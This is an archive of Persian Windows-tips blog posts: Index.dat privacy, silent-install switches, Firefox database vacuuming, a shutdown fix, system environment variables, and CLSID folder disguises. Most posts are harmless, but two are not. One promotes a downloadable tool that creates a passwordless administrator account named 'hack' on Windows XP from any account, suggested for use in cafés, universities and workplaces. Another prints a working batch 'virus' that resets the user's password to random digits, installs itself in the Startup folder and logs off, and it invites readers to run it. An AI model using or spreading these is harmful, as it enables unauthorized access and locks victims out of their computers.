بایگانی

Archive for the ‘ترفند ويندوز’ Category

آنچه باید در مورد Index.dat مرورگر اینترنت اکسپلورر بدانید

2010/04/05 2 دیدگاه

Index.dat چیست؟

Internet-Explorer-Patch فایلی مخفی و قفل شده در ویندوز به نام Index.dat وجود دارد  این فایل حاوی اطلاعات فعالیتهای آنلاین شما مانند سایتهای بازدید شده در مرورگر اینترنت اکسپلورر است و به وسیله آن اطلاعات دسته‌بندی می‌شوند اگرچه دسترسی به این فایل توسط ویندوز در حالت عادی مقدور نیست و نمی‌توانید آن را حذف کنید یا تغییرنام بدهید حتی قابل خواندن نیست (باینری است) ، ولی ابزارهای متعددی برای خواندن و مشاهده آن وجود دارد که برای حریم شخصی خطر بزرگی است چرا که از نظر کاربر مخفی و حتی در صورت پیداکردن غیرقابل خذف است دلیل غیرقابل حذف بودن همیشه باز بودن آن به وسیله ویندوز است. index . dat در پوشه Temporary Internet Files ویندوز وجود دارد.

مطلب جالبتر در مورد این فایل کم نشدن حجم آن و حذف نشدن آن با حذف هیستوری (تاریخچه مرورگر) و فایلهای موقت ویندوز است فقط در حالت safe mode قفل نیست و میتوانید آن را حذف کنید

بیشتر بخوانید…

Advertisements

پيدا كردن دستورهاي خط فرمان براي نصب خودكار برنامه‌ها

2009/12/04 8 دیدگاه

نصب برنامه ها كاري ساده ولي تكراري و خسته كننده است در نظر بگيريد ميخواد نرم‎افزاري را روي چند كامپيوتر نصب كنيد يا اينكه بعد از هر نصب ويندوز نياز داريد برنامه هاي مخصوصي را نصب داشته باشيد در اين وضعيت كار تكراري اجراي برنامه نصب كننده ، تاييد توافق نامه ، محل نصب و خلاصه كليكهاي next جالب نيست!

bypass-install-wizard-animation

بايد بگويم كه معمولا برنامه هاي نصب كننده داراي يك سري دستور ، پارامتر و سوئيچ مخفي براي اجرا و نصب بدون نياز به دخالت كاربر هستند (silent install) كه با استفاده از اين دستورات ميتوان بدون تاييد و كليك دكمه ها برنامه را مجبور به نصب خودكار كرد يك روش براي پيدا كردن اين دستورات خواندن فايل هلپ برنامه هاي ستاپ ساز مختلف است (گفته اند كه با نگاه به آيكون و ظاهر نصب كننده ها نوع كامپايلرش رو پيدا ميكنيم 😀 )

روش ديگر استفاده از برنامه كوچك و كاربردي Universal Silent Switch Finder – USSF اين برنامه كار را راحت كرده است كافيست آدرس برنامه نصب كننده را به برنامه USSF داده تا به شما دستور خط فرمان نصب بدون دخالت كاربر رو نمايش دهد  فايل نصب كننده برنامه با استفاده از برنامه PEID و فايل Helper.bin بررسي شده و بعد از پيدا شدن نوع كامپايلر نصب كننده دستور نصب خودكار را نمايش ميدهد به عنوان مثال

"cuteorganizer.exe" /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-

image

دانلود Universal Silent Switch Finder +

پ.ن: با استفاده از برنامه cmdline ميتوانيد پارامترهاي اجرايي برنامه هاي مختلف را به سادگي ببيند به عنوان مثال بعد از باز كردن يه فايل متني با Notepad از مسير C:\My Folder\MyFile.txt برنامه عبارت

C:\WINDOWS\system32\Notepad.exe C:\My Folder\MyFile.txt

دانلود CMDLine +

نظرتون در مورد معرفي نرم‌افزارهاي كوچك و كاربردي چيه؟ 😉

دو روش يكپارچه سازي تاريخچه فايرفاكس براي كارائي بهتر

2009/10/10 7 دیدگاه

از نسخه فايرفاكس 3.0 به يعد بوكماركها ، هيستوري ، ليست دانلودها و اطلاعاتي از اين دست در ديتابيس هاي sqlite  ذخيره شدند كه مزايا و معايبي دارد به مرور زمان و با توجه به عادت وبگرديتان اين ديتابيس ها داراي اطلاعات مفيد و حجيمي خواهد شد مثلا نوار آدرس هوشمند فايرفاكس 3 با توجه به تعداد دفعات بازديد، عنوان و… پايگاه داده سايتهاي بازديد شده رو جستجو كرده و ليستي از آدرسها را پيشنهاد ميده كه اكثر اوقات بسيار مفيد است. فايرفاكس حدود ده ديتابيس SQLite دارد:content-prefs.sqlite, cookies.sqlite, downloads.sqlite, formhistory.sqlite, places.sqlite, permissions.sqlite, search.sqlite, signons.sqlite, urlclassifier3.sqlite and webappsstore.sqlite

SQLite مانند هر پايگاه‌داده‌ي ديگري بعد از مدتي داراي فضاي خالي بين داده ها و گسيختگي شده و نياز به دفرگ و مرتب سازي پيدا ميكند از آنجاييكه هيچ برنامه اي براي چك كردن و بهينه سازي پايگاه داده به طور پبش فرض در نظر گرفته نشده است افزايش حجم پايگاه داده سبب كاهش كارايي ، افزايش زمان جستجو و لود شدن برنامه و… ميشود.

يك كليك تا بهينه سازي فايرفاكس با SpeedyFox

SpeedyFox برنامه كوچك و جديد براي بهينه سازي و رفع مشكلات فايرفاكس فقط با يك كليك است بعد از اجراي نرم افزار سرعت فايرفاكس به طور قابل توجهي بيشتر شده و استفاده از فايرفاكس لذت بخش تر خواهد شد اين نرم‌افزار پوشه پروفايل را تشخيص داده و در ليستي نمايش ميدهد و تنها كاري كه نياز است انجام دهيد فشردن دكمه Speed Up My Firefox! است.

image فرآيند بهينه سازي ميتواند به نسبت حجم تاريخچه فايرفاكس چند دقيقه طول بكشد. SpeedyFox فعلا فقط براي ويندوز منتشر شده است صفحه دانلود

يكپارچه سازي بانكهاي اطلاعاتي فايرفاكس با نرم افزار SQLite Manager:firefox_bomb

1-SQLite Manager را از اينجا دانلود كنيد (لينك مستقيم دانلود جديدترين نسخه ويندوز)

2-فايل دانلود شده را از حالت فشرده خارج كرده و در پوشه پروفايل فايرفاكس كه فايلهاي .sqlite قرار دارند كپي كنيد (مسير پوشه پروفايل يا از سرچ *.sqlite استفاده كنيد) كپي كنيد

3- مطمئن باشيد فايرفاكس در حال اجرا نباشد و از خط فرمان دستور sqlite3.exe SQLiteDatabase VACUUM كه SQLiteDatabase را با نام ديتابيس جايگزين كنيد به عنوان مثال sqlite3.exe places.sqlite VACUUM

فايل موقتي با اسم places.sqlite-journal ايجاد شده و ديتابيس مرتب در آن  ساخته ميشود.

در ويندوز براي دفرگ كردن همه ديتابيسها ميتوان از دستور زير استفاده كرد:

for %a in (*.sqlite) do (sqlite3 %a vacuum) 

 

نتيجه چند تست:

حجم places.sqlite قبل از دفرگ

حجم places.sqlite بعد از دفرگ

زمان استارت آپ قبل از دفرگ

زمان استارت آپ بعد از دفرگ

10 مگابايت

9 مگابايت

11 ثانيه

8 ثاينه

40 مگابايت

27 مگابايت

10 ثانيه

7 ثانيه

ميتوان دستور دفرگ شدن ديتابيس هاي فايرفاكس را در ليست برنامه هايي كه به طور خودكار با ويندوز اجرا ميشوند گذاشت تا با هر بار شروع ويندوز فايرفاكس بهينه شود

روش ساده تر براي كاربران ويندوز استفاده از IniFox v 1.2 است كه با يك اسكريپت محل پروفايل را يافته و تمام ديتابيس‌هاي فايرفاكس رو دفرگ ميكند در اين روش نيازي به دستورات خط فرمان نيست و خيلي ساده تر است. دانلود IniFox +

در تصوير زير ميتوانيد حجم فايلهاي ديتابيس فايرفاكس را قبل و بعد  از اجراي SpeedyFox  مقايسه كنيد سرعت اين نسخه از فايرفاكس كه استفاده ميكنم به طرز قابل توجهي افزايش يافت.

image

 

منايع:

Easily Optimize Firefox SQLite Databases with SpeedyFox Portable
http://mozillalinks.org/wp/2009/07/vacuum-your-firefox-databases-for-better-performance

حل مشكل طولاني شدن خاموش شدن ويندوز

2009/03/07 24 دیدگاه

شايد براي شما هم پيش آمده باشد كه براي shutdown شدن ويندوز دقايقي طولاني چشم به نوشته windows is shutting down… دوخته باشيد و شايد هم گاهي كه كم حوصله بوده ايد دكمه پاور را با تمام قوا فشار داده و خاموشي فيزيكي را به شات دان ترجيح داده باشيد اين اتفاق در سيستمهاي زيادي روزانه تكرار مي شود دليل آن هم برنامه هايي است كه بعد از بسته شدن حافظه استفاده شده را به طور صحيح بازگرداني نمي كنند مثلا هنگام باز كردن يك كليد در رجيستري آن را نمي بندند

مايكروسافت براي حل اين مشكل برنامه رايگان User Profile Hive Cleanup Service را ارائه داد بعد از دريافت اين برنامه و نصب آن يك سرويس به نام User Profile Hive Cleanup در سرويسهاي ويندوز اضافه مي شود ( در run عبارت services.msc  را بنويسيد)

User Profile Hive Cleanup Service

اين سرويس با پيگيري برنامه ها در هنگام خاتمه يافتنشان منابع مورد استفاده را آزاد مي سازد با اين آزاد سازي هنگام ارسال فرمان شات دان يا لاگ آف و غيره دستورشما در عرض چند ثانيه انجام خواهد شد.

براي Windows 2000; Windows Server 2003; Windows XP

اين سرويس را از سايت مايكروسافت دانلود كنيد

هك ادمين ويندوز اكس پي در 3 ثانيه

2009/03/06 44 دیدگاه

روشهاي مختلفي براي هك و يا يافتن پسورد ها در ويندوز وجود دارند مثل هك پسورد با سي دي هاي قابل بوت. البته هنوز خيليها نمي دونند كه چطور بايد پسوردهاي ويندوز رو شكست عده اي ا هم به ويندوز اعتماد دارند اما نمي دونند كه نمي دونند

روش 3 ثانيه اي از همه اين روشها بهتر است چرا كه نه نياز به راه اندازي كامپيوتر داريد و نه لازمه كه سي دي بوت بسازيد و از همه مهتر تو سه ثانيه كار انجام مي شه هك پسورد ويندوز واقعا گاهي اوقات لازم است مثلا توي كافي نت و دانشگاه و يا محل كار

دقت كنيد كه مهم نيست كه چه سطح دسترسي به ويندوز داريد مثلا كاربر محدود يا كاربر مهمان يا مدير سيستم (Limit یا Guest يا admin يا administrator )  اين برنامه به هر حال كارش را انجام مي دهد.

1- فايل فشرده را از اينجا دانلود كنيد (750 كيلوبايت) و سپس accmaker.exe را اجرا كنيد

2-بعد از اجراي برنامه يك كاربر با سطح دسترسي مدير سيستم يا همان ادمين ايجاد خواهد شد نام اين كاربر hack  است و پسورد ندارد

3-حالا با لاگ آف كردن يا عوض كردن كاربر دسترسی کامل Administrator خواهيد داشت

اين روش در ويندوز xp سرويس پك 3 ديگه جواب نمي ده (مايكروسافت باگش رو بر طرف كرده)

متغيرهاي تعريف شده در ويندوز + كاربرد

2009/01/15 18 دیدگاه

در ويندوز تعدادي متغير به طور پيش فرض تعريف شده كه اطلاعات مفيدي را دارد به عنوان مثال نام كاربرفعال.
هر كدام از اين متغيرها را در RUN يا CMD يا اسكريپتهاي BAT مي توان به كار برد
 
%ALLUSERSPROFILE% پروفايل همه كاربران
%APPDATA% مسير فايلهاي تنظيمات برنامه ها
%COMPUTERNAME% نام كامپيوتر
%DATE% تاريخ جاري را بازگشت مي دهد
%HOMEDRIVE% مسير كاربر فعال با نام درايو
%HOMEPATH% مسير كاربر فعال بدون نام درايو
%NUMBER_OF_PROCESSORS% تعداد پردازشگرهاي سيستم
%OS% نام سيستم عامل
%PATH% مسيري كه هنگام اجرا كردن دستوري در RUN  به دنبال فايلهاي اجرايي مي گردد
%PROCESSOR_ARCHITECTURE% پردازنده نصب شده
%RANDOM% عددي اتفاقي صحيح بين صفر و 32767
%SYSTEMDRIVE% درايويي كه ويندوز در آن نصب شده است
%SYSTEMROOT% مسير نصب ويندوز
%TEMP% و %TMP% محل فايلهاي موقتي
%TIME% زمان جاري
%USERDOMAIN% دامين كاربر
%USERNAME% نام كاربر فعال
%USERPROFILE% پروفايل كاربر فعال
%WINDIR% مسير نصب ويندوز
كاربرد اول:
فرض كنيد با برنامه WINRAR يك نصب كننده كوچك ساخته ايد و مي خواهيد مسير پيش فرض آن پوشه ويندوز باشد ولي WINRAR چنين مسيري را در برنامه خود پشتيباني نمي كند ولي با دانستن مطلب بالا كافي است عبارت %WINDIR% را در قسمت PATH TO EXTRACT بنويسيد
winrar_path
كاربرد دوم:
مي خواهيد فايلهاي موقتي ويندوز را پاك كنيد تا هم فضاي بيشتري به دست آوريد و هم ردپايي از شما بر جا نماند
از منوي استارت گزينه run را انتخاب كرده و در آن عبارت %TEMP% و يا  %TMP% را نوشته و بعد از اوكي همه فايلها و فولدرهاي پنجره باز شده را پاك كنيد.
 
كاربرد سوم:
يك ويروس كوچك اما خطرناك;متن زير را  در برنامه نت پد كپي كنيد و آن را با نام دلخواه و پسوند bat ذخيره كنيد مثلا hello.bat بعد آن را باز كنيد تا نتيجه را ببينيدو هيچگاه فراموش نكنيد. هر چند با تغييرات كوچك در اين ويروس آن را مي توان خيلي خطرناكتر كرد ولي از اين كار بي خيال شدم
 

net user %username% %random%%random%%random%%random%%random%%random%%random%
echo net user %%username%% %%random%%%%random%%%%random%%%%random%%%%random%%%%random%%%%random%% > "%ALLUSERSPROFILE%\Start Menu\Programs\Startup\egza-virus%random%.bat"
logoff

 

hello bat

اطلاعات بيشتر در مورد متغيرهاي تعريف شده در ويندوز را در كمك ويندوز با نوشتن عبارت Command shell overview به دست آوريد

تبديل پوشه ها معمولي به پوشه هاي شبه سيستمي در ويندوز

2008/11/26 8 دیدگاه

در ويندوز پوشه هاي وي‍ژه اي مثل كنترل پنل ، سطل زباله ،پرينتر و فكس ،اتصالات اينترنت و… وجود دارند كه از جمله پوشه هاي سيستمي هستند اين پوشه ها هر كدام داراي يك كد 16 بايتي منحصر به فرد جهاني هستند اين كد 16 بايتي همان CLSID است كه شايد هنگام كار با رجيستري با آن برخورد كرده باشيد

HKEY_CLASSES_ROOT\CLSID

با استفاده از CLSID مي توانيد پوشه هايي شبيه فولدرهاي سيستمي مثل كنترل پنل ، سطل زباله ، ماي كامپيوتر وغيره بسازيد يا وي‍ژگي پوشه هاي سيستمي را به يك فولدر دلخواه اضافه كرد با اين كار در واقع پوشه شما را از حالت يك پوشه عادي خارج شده و شبيه پوشه اي سيستمي مثلا كنترل پنل مي شود و كاربر با باز كردن ان به جاي ديدن محتواي پوشه مثلا كنترل پنل را خواهد ديد. براي تبديل نياز به كدهاي منحصر به فرد CLSID داريم كه تعدادي از آنها را اينجا‌ آورده ام:

*egza-special-folders

كنترل پنل

{21EC2020-3AEA-1069-A2DD-08002B30309D}

دستگاه هاي پرتابل

{640167b4-59b0-47a6-b335-a6b3c0695aea}

شبكه ها

{208D2C60-3AEA-1069-A2D7-08002B30309D}

صفحه وب

{871C5380-42A0-1069-A2EA-08002B30309D}

برنامه هاي زمانبندي شده

{D6277990-4C6A-11CF-8D87-00AA0060F5BF}

ارتباطات شبكه اي

{992CFFA0-F557-101A-88EC-00DD010CCC48}

سطل زباله

{645FF040-5081-101B-9F08-00AA002F954E}

چاپگر

{2227A280-3AEA-1069-A2DE-08002B30309D}

نتايج جستجو

{1f4de370-d627-11d1-ba4f-00a0c91eedba}

كامپيوتر من

{20D04FE0-3AEA-1069-A2D8-08002B30309D}

اينترنت

{2559a1f4-21d7-11d4-bdaf-00c04f60b9f0}

ايميل

{2559a1f5-21d7-11d4-bdaf-00c04f60b9f0}

جلسه شبكه اي

{3E9BAF2D-7A79-11d2-9334-0000F875AE17}

اسناد اشتراكي

{59031a47-3f72-44a7-89c5-5595fe6b30ee}

كيف اسناد

{85BBD920-42A0-1069-A2E4-08002B30309D}

پوشه هاي وب

{BDEADF00-C265-11D0-BCED-00A0C90AB50F}

جستجوي فايل

{C4EE31F3-4768-11D2-BE5C-00A0C9A83DA1}

جستجوها

{e17d4fc0-5564-11d1-83f2-00a0c90dc849}

دوربينها و اسكنرها

{E211B736-43FD-11D1-9EFB-0000F8757FCD}

كش فايل

{1D2680C9-0E2A-469d-B787-065558BC7D43}

برنامه ها

{7be9d83c-a729-4d97-b5a7-1b7313c39e0a}

منوي استارت

{48e7caab-b918-4e58-a94d-505519c795dc}

و….

براي تبديل يك پوشه كافي است آن را تغيير نام داده و در آخر اسم آن با گذاشتن يك نقطه CLSID دلخواه را گذاشت

مثلا مي خواهيم پوشه اي به اسم abc را

شبيه كنترل پنل كنيم

abc.{21EC2020-3AEA-1069-A2DD-08002B30309D}

شبيه سطل بازيابي

abc.{645FF040-5081-101B-9F08-00AA002F954E}

براي بازگرداني پوشه به حالت عادي دو راه وجود دارد

اولين راه استفاده ازفرمان ren در cmd به اين صورت كه فرمان cmd  را در run از منوي استارت نوشته و سپس با توجه به محل پوشه و CLSID دستور ren را استفاده مي كنيم

مثلا براي بازگرداني پوشه اي با نام abc كه در درايو سي وجود دارد و با CLSID كنترل پنل تغيير يافته بايد دستو زير را در cmd نوشت

ren C:\abc.{21EC2020-3AEA-1069-A2DD-08002B30309D} abc

براي بازگرداني پوشه اي با نام abc كه در درايو سي وجود دارد و با CLSID سطل بازيابي تغيير يافته بايد دستو زير را در cmd نوشت

ren C:\abc.{645FF040-5081-101B-9F08-00AA002F954E} abc

راه دوم تغيير دادن شيوه نمايش اين پوشه هاست به اين صورت كه در ماي كامپيوتر منوي tools ->folder options  را باز كرده و بر روي تب views كليك كرده و از ليست پايين پنجره گزينه hide protected operation system files را از حالت انتخاب خارج كرده و لاگ آف يا ريستارت

حالا كدهاي CLSID در پايان پوشه ها نمايش مي يابد همين